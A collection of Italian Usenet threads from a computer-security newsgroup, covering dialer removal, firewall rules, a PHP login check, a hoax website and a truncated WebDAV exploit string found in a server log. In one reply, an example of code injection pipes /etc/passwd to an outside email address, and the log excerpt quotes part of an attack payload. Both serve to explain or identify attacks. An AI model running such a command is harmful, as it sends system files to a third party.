-----==  Over 80,000 Newsgroups - 19 Different Servers!  ==-----

Qualcuno di voi sa' dirmi come eliminarlo?
Scarica Happy time cleaner da 
www.avp.it
-- 
Lapalissiano
Icq 57269703

 >

Newsgroup: it.comp.sicurezza.varie
Titolo: il sito http://ads.alt.com

ieri il mio firewall mi ha segnalato che explorer.exe tentava di
collegarsi al sito 
http://ads.alt.com
Che tipo di sito č?





 Che tipo di sito č?
Direi un sito internet.
Hai bisogno di un browser per vedere com'č fatto...
-- 
Saluti
Get Firefox @ 
www.mozilla-europe.org/it

 Hai bisogno di un browser per vedere com'č fatto...
Forbidden
You don't have permission to access /cgi-bin/public/index.cgi on this 
server.
Apache/1.3.31 Server at 
www.friendfinder.com
 Port 80
Mah, si capiscano un po' tra loro...
Ciaotutti,
*
-- 
If you are sending a reply to a message or a posting be sure you
summarize the original at the top of the message, [...] But do not
include the entire original! -- RFC 1855 - Netiquette Guidelines

Newsgroup: it.comp.sicurezza.varie
Titolo: il ritorno dei gattini

scusate, ma il sito non era stato chiuso, scusate ma devo andare a
vomitare :-(
---
Andrea
se windows fosse sicuro si chiamerebbe linux
"Legge n°1 di Microsoft: Formatta e reinstalla!"
---

 vomitare :-(
Io  ho fatto  tempo a  mirrorarmelo  sul disco,  non  si sa  mai che  lo
chiudano ancora...
-- 
Emmanuele Bassi         |  Linux: [ 
http://digilander.iol.it/ebassi/linux/
 ]
                        |   SLRN: [ 
http://digilander.iol.it/ebassi/slrn/
  ]
emmanue...@iol.it
  |   SETI: [ 
http://digilander.iol.it/ebassi/seti/
  ]
  GnuPG Key Fingerprint: 9747 635E B95A B0B3 4370 1CAA CAF7 512B 945C A44C

 
Consiglio di andare alla pagina delle news :
http://clubs.yahoo.com/clubs/bonsaikitten
Dove,se non ho capito male,spiegano che è tutto uno scherzo.
Giulio

Dove,se non ho capito male,spiegano che è tutto uno scherzo.
si, che sia uno scherzo si capisce, ma il solo pensarci mi fa stare
male, c'e' il mio gatto che in questo momento sta facendo le fusa
sulle mie gambe, ed immaginarlo in un barattolo mi fa morire.

sulle mie gambe, ed immaginarlo in un barattolo mi fa morire.
vero ed hai ragione.
IMHO è un fake fatto bene;sui ng che frequento addirittura hanno detto
che ha tanto di ML su egroups e club. :)
ciao.
--
Errore in explorer.exe : l'applicazione ha eseguito un'operazione valida e sarà terminata.

che ha tanto di ML su egroups e club. :)
si confermo, hanno sia club che ML.
Newsgroup: it.comp.sicurezza.varie
Titolo: dialer check

ciao a tutti
un brutto dialer si è istallato nel mio pc
la connessione a cui da il via si chiama "check"
ho provato a disinstallarlo con le ultime versioni di adware (6) e spybot ma senza
successo
anche il mio antivirus trend micro non lo trova
ho istallato stop dialer ma pur impedendo la connessione del dialer (che cmq sarebbe senza
effetto perchè ho una adsl) la mia precedente connessione cade
qualcuno conosce questo dialer? sa come eliminarlo?
grazie in anticipo
andrea

 ...
Hai fatto i controlli che ti ho detto sull'altro ng?
-- 
Andy
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
 
http://www.inzona.com
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
Yahoo ID andrea26272

Newsgroup: it.comp.sicurezza.varie
Titolo: Cercasi software commerciale per crittografare

Salve.
Qualcuno sa indicarmi i nomi di un paio di software commerciali per crittografare i propri dati, reperibili in Italia?
Sarei lieto se mi rispondeste  privatamente all'indirizzo e-mail 
civ...@olivettiricerca.it
.
Vi ringrazio anticipatamente
	Gino
--
Posted from 
relay.olivettiricerca.it
 [193.76.87.5]
via Mailgate.ORG Server - 
http://www.mailgate.org

PGP (Pretty good privacy) è famisissimo. Probabilmente lo potresti trovare
su 
www.vlftp.com
Azathoth, il Signore del Caos.
ICQ 18899317
Newsgroup: it.comp.sicurezza.varie
Titolo: Proteggere pagina di sito con PHP è sicuro?

Salve a tutti!
Volevo sapere se secondo voi la seguente procedura di autenticazione è 
sicura o no.
Nella pagina principale del mio sito metto un form con metodo post e 
action=accedi.php. Nel form inserisco due campi user e pass.
Poi strutturo la pagina accedi.php in questo modo:
$user=$_POST['user'];
$pass=$_POST['pass'];
if (($user=="userok") && ($pass=="passok")) {
echo <<<END;
contenuto privato protetto
END;
}else {
echo <<<END;
autorizzazione negata
END;
}
E' sicuro o no? Quali sono le falle di questo sistema? E' possibile 
scaricare in qualsiasi modo (vedi programmi tipo Download Accelerator) il 
sorgente del file php e attraverso quello ricavare oltre che il contenuto 
protetto anche user e pass? E nel caso, è facile farlo?
Ogni suggerimento è graditissimo!
Ciao
Francesco 

 E' sicuro o no?
Sei OT, il gruppo adatto e' it.comp.www.php
Ad ogni modo devi quantomeno effettuare la validazione dell'input che 
proviene dal form.
-- 
c:\winnt> secure_nt.exe
  Securing NT.  Insert Linux boot disk to continue......
http://www.neodigital2k.com

 proviene dal form.
Ovvero? Puoi spiegarmi meglio?
Ciao
--
Francesco 

 Ovvero? Puoi spiegarmi meglio?
http://www.justfuckinggoogleit.com/search?q=validazione+input+php
-- 
Mi arrivano giornalmente almeno 20 messaggi
che tentano di vendermi prodotti per ingrossare il pene.
Come referenze sono ottime: mi hanno gia' fatto 2 palle cosi'!
http://www.neodigital2k.com

 Ovvero? Puoi spiegarmi meglio?
ad esempio evitare il 'code injction' ovvero la possibilità su campi 
validati male o non validati di far eseguire del codice 'malizioso'
sul server (dato che con php questo è possibile).
ad esempio su un campo mal validato in un web form un utente strozetto 
potrebbe far inviare le pass ad una mail a suo piacimento:
 cat /etc/passwd | mail 
dmi...@x-privat.org
ma i limiti credo siano dettati solo dalla fantasia :)
buona regola è quindi validare l'imput. Ad esempio se un campo deve 
contenere una mail, valida quel campo per contenere una mail, ad 
esempio con questa funzione puoi verificare quanto detto  prima:
function ismail($email)
{
    if (!eregi("^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,3}$", 
$email))
    {
        return FALSE;
    }
    return TRUE;
}
e via dicendo ..
Poi vabè ci sono regole generali per rendere il php più sicuro 
configurando opportunamente php.ini
-- 
Ciao, Dmitry
I've a dream... bring usenet to every family
Newsgroup: it.comp.sicurezza.varie
Titolo: [OT] programma per il registry...

Salve a tutto l'ng,
scusate se sono off topic, ma non so proprio a chi chiedere!
stavo cercando un programma che monitorizzi e segnali eventuali
registrazioni, modifiche al registry di windows, apportate dai vari
programmi.
E siste o bisogna ancora crearlo? :D
grazie per aver letto il messaggio
Saluti
Marco
--
________________________
visita: 
www.networkingitalia.it
________________________

E siste o bisogna ancora crearlo? :D
Esiste: 
www.sysinternals.com
-- 
Lapalissiano
Icq 57269703

Newsgroup: it.comp.sicurezza.varie
Titolo: Grazie

Grazie a tutti delle risposte
vi faccio una domanda dove posso trovare info su come capire meglio ZA (
magari in italiano)
Grazie di nuovo a tutti

 ha scritto nel messaggio
news:xtm_7.20505$%B.70...@twister2.libero.it...
anche se (IMHO)lo ritengo un prodotto pessimo, qui trovi una mini FAQ in
italiano,
ciaoooo!
http://netdoc.supereva.it/sicurezza/virus/zonealarmsom.htm?p
--
GRCorp. At Granada Corporation© Damage Incorporated

 
dimentinticavo che c'e' anche l'utile mini-HOWTO di Max "Firebeam" Baldinelli
http://www.securfaq.usenet.eu.org/zafaq.txt
ariciaooooo :)
--
GRCorp. At Granada Corporation© Damage Incorporated
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

Newsgroup: it.comp.sicurezza.varie
Titolo: Driver disabilitati

Ciao, mi servirebbe una mano a risolvere un problema. Ho un AMD Duron da 1,2
GHh con windows xp pro. Ho installato easy cd creator 4 che non era
compatibile con xp e il computer mi da questo messaggio:
"È probabile che un driver per la registrazione di CD installato possa
causare problemi di stabilità, compresi problemi di arresto del computer e
problemi di utilizzo dell'unità CD/DVD. Il driver verrà disabilitato. È
probabile che questo driver sia stato installato da Easy CD Creator, Windows
Media Player o RealJukebox. Potrebbe non essere possibile registrare CD fino
a quando non si dispone di driver compatibili."
Ho disinstallato il programma, ma il problema persiste. Cosa posso fare?
Grazie!

Ho disinstallato il programma, ma il problema persiste. Cosa posso fare?
Cambiare newsgroup
-- 
Lapalissiano
Icq 57269703

 Cambiare newsgroup
LOL :-))  
dany
-- 
Next sign available
Newsgroup: it.comp.sicurezza.varie
Titolo: MSN Messenger strano...

Scusate se sbaglio newsgroup ma ho cercato qualcosa di più "specifico" e non
l' ho trovato:
un amico mi ha appena detto di aver ricevuto un messaggio su msn messenger
da me e da un altro amico in comune con scritto: "Non fornire mai la
password o il numero di carta di credito in un messaggio di messaggistica
immediata".
Il fatto è che né io (online con Miranda IM), ne l' altro amico (online con
Messenger) abbiamo spedito un messaggio simile.
Che cosa significa?
Grazie a chiunque sappia darmi spiegazioni in merito, magari è una cosa
stupida...

 immediata".
Se il tuo amico si da una svegliatina osserverà che è un messaggio che 
compare SEMPRE quando avvia una conversazione :)

 ha scritto nel messaggio
news:fvXEc.562694$rM4.23...@news4.tin.it...


 E' nuovo dell' ambiente (e anche io, vd. nick...)
visto che per vostra stessa ammissione siete niubbi vi consiglio di 
leggere 
http://www.freewebz.com/iosononiubbo/iosononiubbo.htm#quotare
ciao

 messaggio di messaggistica immediata".
mi sa che sto messaggio lo manda msn di default, e non i suoi 
utenti....
-- 
- Come faccio a togliere i diritti d'autore da un cd da masterizzare?
- Chiami l'autore e gli chiedi di rinunciare, quindi di farlo 
ristampare con su scritto "di Dominio Pubblico"

 
ma dovrebbe comparire solo la prima volta che ci si connette se non 
sbaglio...

 ha scritto nel messaggio
news:JPXEc.402559$hc5.17...@news3.tin.it...


 ok me lo merito
senti, non è per insistere o per farne una questione personale ma sei 
proprio sicuro di non aver bisogno di leggere quanto riportato al link 
che ti ho indicato ? non so come dire.... ecco: quoti a 'membro di segugio'
:-)

markus wrote:
 > cut
ehm... il link suggerito è questo
http://www.freewebz.com/iosononiubbo/iosononiubbo.htm#quotare
ciao

markus wrote:

E' un warning di default che... si può modificare (customizzare):
http://www.winguides.com/registry/display.php/1214/
--
Vincenzo Di Russo
Microsoft® MVP - Windows - Internet Explorer/OE
news://microsoft.public.it.internet_explorer
http://support.microsoft.com/newsgroups
http://mvp.support.microsoft.com/



forse, non ricordo., oramai non ci faccio piu' caso :)


 che ti ho indicato ? non so come dire.... ecco: quoti a 'membro di
segugio'
ROTFL
Questa è stupenda!!!!!!!!!
me la segno! posso?
S.



si' e' in GPL, ma non e' sua :)


 si' e' in GPL, ma non e' sua :)
il copyright è di un mio caro amico... :-)


"membro di segugio", Data:1998/01/15:
http://groups.google.it/groups?selm=34BDE0FE.6107BBEC%40NO_SPAMhotmail.com
"pene di segugio", Data:1996/10/08:
http://groups.google.it/groups?selm=53e4tm%244nd%40news.service.uci.edu
Mi sa che il copyright è pure scaduto :-)
Bye, G.
Newsgroup: it.comp.sicurezza.varie
Titolo: JETICO, come impostare regola generale?

Ciao, ho appena installato Jetico, ho letto l'Help anche se un pò di
corsa, ma non riesco a fare questa cosa: in pratica mi appare questo
messaggio
Application	System
Event	inbound connection
Protocol	TCP/IP
Local address	any
Local port	445
Remote address	217.201.68.202
Remote port	any
Description
Configuration table	Ask User
Log level	disabled
di continuo, solo cambia il Remote Address. Io voglio impostare una
regola in modo che Jetico blocchi TUTTI i tentativi di connessione a
System, dall'esterno, su quella porta. Kerio lo faceva da solo, perchè
questo no? Come devo fare?
Grazie!!

Ad ogni modo ho fatto così:
sono andato in Configuration-->System Application ho creato una nuova
regola, selezionato Svchost come applicazione e scelto Reject per ogni
Inbound Connection, Protocol = Any. E infatti ora i messaggi non ci
sono più. Lo stesso ho fatto per System. Spero di averci indovinato...

 Come devo fare?
Le regole "automatiche" create da jetico quando
appare un popup registrano TUTTE le info relative
ad una determinata connessione, ossia porte ed
indirizzi origine e destinazione; in pratica si tratta di
regole molto "strette" per renderle piů "generiche"
dovrai editare la regola e modificarla in modo che
si applichi a (es.) tutti gli indirizzi
ciao

 ciao
Infatti!!! Ora sto provando Jetico 2 ma non c'è un'opzione ANY. In
pratica ANY lo si ottiene, a quanto posso vedere, dal NON specificare
alcun dato.
Ad.es. per impedire OGNI inbound connection verso SYSTEM NON bisogna
specificare alcun tipo di porta o indirizzo remoto o protocollo.
Per quanto mi riguarda mettere l'opzione ANY rende più intuitiva la
cosa.

 piů intuitiva la cosa.
probabilmente volevi scrivere rendeREBBE :) in ogni caso..
puoi sempre provare ad inviare una e-mail ai tizi di Jetico
suggerendo una modifica.. :-D

 suggerendo una modifica.. :-D
Il condizionale, in questo caso, non è d'obbligo :-)
Ad ogni modo penso che si, gli manderò una email anche se ieri gliene
ho già mandata una ieri sera ma ancora non mi hanno risposto.
P.S. Ma è pericoloso autorizzare SVCHOST a ricevere o inviare
datagrammi? Spesso cerca di comunicare con due indirizzi ip codificati
nel programma di connessione della TIM che uso per accedere a internet
(TIMAssistant che mi fa funzionare la scheda HSDPA della ONDA).
Grazie :-)

 HSDPA della ONDA).
Il discorso è diverso, più che focalizzarsi sul processo bisognerebbe
focalizzarsi su hosts/porte/protocolli, generalizzare non è mai una
buona idea, specie se si tratta di processi che fungono da "hub" per
diversi servizi di rete; come "regola del pollice" potresti bloccare il
traffico ed eventualmente riabilitarlo in caso di malfunzionamenti, ma
un'idea migliore potrebbe essere quella di verificare quali "servizi"
SVCHOST stia tendando di contattare/utilizzare e poi decidere di
conseguenza
ciao
Newsgroup: it.comp.sicurezza.varie
Titolo: mettere un file in rete da anonimo

Vorrei mettere un file su un server da anonimo.
Vorrei sapere se si può e quale server è indicato
per tale operazione. Il file ovviamente, non ha
niente di speciale, non sono ne un pirata ne un
camorrista.
Saluti
ro...@elbalink.it

>blink!<
(aureola che si accende)

Newsgroup: it.comp.sicurezza.varie
Titolo: accesso http

Salve,
e' qualche giorno che ho nei log di accesso un tentativo  del genere
SEARCH /葿?B?B?B?B?B?B?B?B?B?B缮缮缮缮缮缮缮缮缮" 414 338 "-" "-"
la stringa l' ho accorciata di proposito ma e' lunga circa 8183 caratteri.
L' error log mi riporta:
[error] request failed: URI too long
qualcuno sa' di che si tratta ?
10x.
il moro



 SEARCH /ÉB?B?B?B?B?B?B?B?B?B?BÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ" 414 338 "-" "-"
<snip>
Uhm .. sei sicuro che sia su HTTP ?!?
Non è che arriva su HTTPS per caso ?



No, la 443 non e' aperta.Il log inoltre non da' adito a dubbi (adesso ho
proprio bloccato l' IP)
|04/30/2004 10:49:46  |IP sorgentexxxx:4492   |IP destxxxxx:80      |ACCESS
BLOCK
In particalore e' un IP che mi martella a intervalli pseudo-regolari,
potrebbe essere un virus che opera delle scansioni sulla stessa subnet
in cerca di qualcosa ?
--
il moro

 Uhm .. sei sicuro che sia su HTTP ?!?
E' un tentativo di exploit per la vulnerabilita' di cui sul bollettino
MS03-007.
Agobot/gaobot tenta l'infezione in questo modo.
Ultimamente si sono notati altri tentativi con payload differenti.
Se qualcuno vuole buttare giu' una regola per snort... Ricordo che il
payload, per quanto variabile, e' lungo almeno 8000 bytes...
-- 
*    HappyCactus - Linux User #209744 - BOFH Certified Engineer    *
*                         
http://www.google.com
                    *
*                                                                  *
*                           ET IN ARCADIA EGO                      *

 SEARCH /ÉB?B?B?B?B?B?B?B?B?B?BÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ" 414 338 "-" "-"
Considerata anche la periodicita' probabilmente e' un worm per webdav,
semplicemente.
Fabio

 SEARCH /?B?B?B?B?B?B?B?B?B?B?B??????????????????" 414 338 "-" "-"
Un tentativo di exploit, I suppose.
-- 
Due scopettoni per domarli, un detersivo per lavarli e nel cesso scaricarli